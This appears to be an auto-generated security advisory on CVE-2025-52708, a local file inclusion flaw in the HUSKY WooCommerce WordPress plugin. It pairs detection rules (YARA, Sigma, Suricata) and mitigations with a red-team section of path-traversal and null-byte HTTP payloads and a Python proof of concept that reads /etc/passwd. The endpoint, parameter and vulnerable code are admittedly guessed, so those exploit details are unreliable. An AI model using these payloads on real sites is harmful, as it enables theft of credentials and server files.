CVE-2025-52708
Executive Summary
CVE-2025-52708 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the HUSKY – WooCommerce Products Filter plugin (formerly known as WOOF) by RealMag777. This vulnerability affects all versions up to and including 1.3.7. The flaw stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files, database credentials, or source code. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). As a WordPress plugin, this issue directly impacts the WordPress ecosystem and does not involve Apache or Nginx vulnerabilities.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the HUSKY WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is a commercial product, and the vendor (RealMag777) has not yet released a patch. Users are advised to monitor the plugin’s update channel and consider disabling the plugin until a fix is available. The lack of a patch increases the risk of supply chain attacks, as malicious actors could exploit unpatched installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The high severity is driven by the ability for an unauthenticated attacker to remotely read sensitive files from the server without any user interaction. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as proof-of-concept code emerges.
Deep Dive & Mechanics
The vulnerability exists in the HUSKY plugin’s handling of file inclusion. The plugin likely uses a user-supplied parameter (e.g., ?file=...) to dynamically include a PHP file for rendering templates or processing requests. Due to insufficient sanitization, an attacker can manipulate this parameter to include arbitrary files from the server’s filesystem.
Technical Details:
- The vulnerable code likely resembles:
include($_GET['file'] . '.php');or similar, where the extension is appended. - An attacker can use path traversal sequences (e.g.,
../../../../etc/passwd) to escape the intended directory. - Null byte injection or other encoding tricks may be used to bypass extension appending (e.g.,
../../../../etc/passwd%00). - The attack is performed via HTTP GET or POST requests to the vulnerable endpoint.
Impact:
- Information Disclosure: Read sensitive files like
/etc/passwd,wp-config.php, or/proc/self/environ. - Potential RCE: If the attacker can include a file they control (e.g., via log poisoning or upload), this could escalate to Remote Code Execution.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s core file handling logic. A patched version would implement strict validation of the file path, such as:
- Whitelisting allowed files.
- Using
realpath()to resolve the path and checking it against a base directory. - Removing path traversal sequences.
- Avoiding user input in
include/requirestatements.
Vulnerable Code Example (Hypothetical):
$file = $_GET['file'];
include(plugin_dir_path(__FILE__) . 'templates/' . $file . '.php');
Patched Code Example (Hypothetical):
$allowed_files = ['template1', 'template2'];
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
include(plugin_dir_path(__FILE__) . 'templates/' . $file . '.php');
} else {
// Error handling
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with HUSKY plugin version <= 1.3.7.
- The vulnerable endpoint (e.g.,
/wp-content/plugins/husky/templates/load.php?file=...).
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
file,template,include). - Craft a payload to read
/etc/passwd:GET /wp-content/plugins/husky/templates/load.php?file=../../../../../../etc/passwd%00 HTTP/1.1 Host: target.com - If the extension is appended, use a null byte or other bypass:
GET /wp-content/plugins/husky/templates/load.php?file=../../../../../../etc/passwd%00 HTTP/1.1 - For Windows servers, use backslashes:
GET /wp-content/plugins/husky/templates/load.php?file=..\..\..\..\..\..\windows\win.ini%00 HTTP/1.1
Proof-of-Concept (Python):
import requests
target = "http://target.com/wp-content/plugins/husky/templates/load.php"
payload = "../../../../../../etc/passwd%00"
params = {'file': payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for path traversal patterns (e.g.,
../,%00,..\\). - Look for requests to HUSKY plugin files with suspicious parameters.
- Use WAF rules to block path traversal sequences.
Defense:
- Disable the HUSKY plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
- Restrict file permissions on the server to limit what can be read.
- Use PHP’s
open_basedirdirective to confine file access.
Indicators of Compromise (IOCs)
- File Paths:
/etc/passwd,/etc/shadow,/wp-config.php,/proc/self/environ - URL Patterns:
?file=../../../../etc/passwd,?template=../../../windows/win.ini - Log Entries: HTTP requests containing
%00,../, or..\\in the query string. - Network Traffic: Outbound connections from the server to external IPs (if RCE is achieved).
Detection Engineering
YARA Rule
rule CVE_2025_52708_LFI_Detection {
meta:
description = "Detects LFI attempts targeting HUSKY plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52708"
strings:
$path_traversal = /(\.\.\/|\.\.\\){2,}/
$null_byte = /\x00/
$husky_param = /file=|template=|include=/
condition:
any of ($path_traversal) and any of ($null_byte) and any of ($husky_param)
}
Sigma Rule
title: CVE-2025-52708 HUSKY Plugin LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HUSKY plugin requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-content/plugins/husky/'
- 'file='
- 'template='
c-uri|re: '\.\.\/|\.\.\\|%00'
condition: selection
falsepositives:
- Legitimate use of similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-52708 HUSKY Plugin LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/husky/"; http_uri; pcre:"/(\.\.\/|\.\.\\|%00)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the HUSKY plugin until a patch is released.
- Implement a WAF with rules to block path traversal and null byte injection.
- Monitor logs for suspicious requests to the plugin’s files.
Long-Term Fix:
- The vendor (RealMag777) must release a patched version that sanitizes file paths.
- Users should update to the latest version once available.
- Consider replacing the plugin with an alternative if no patch is provided.
Workarounds:
- Use
.htaccessto block direct access to vulnerable files:<FilesMatch "load\.php"> Order Allow,Deny Deny from all </FilesMatch> - Set PHP
open_basedirto restrict file access.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.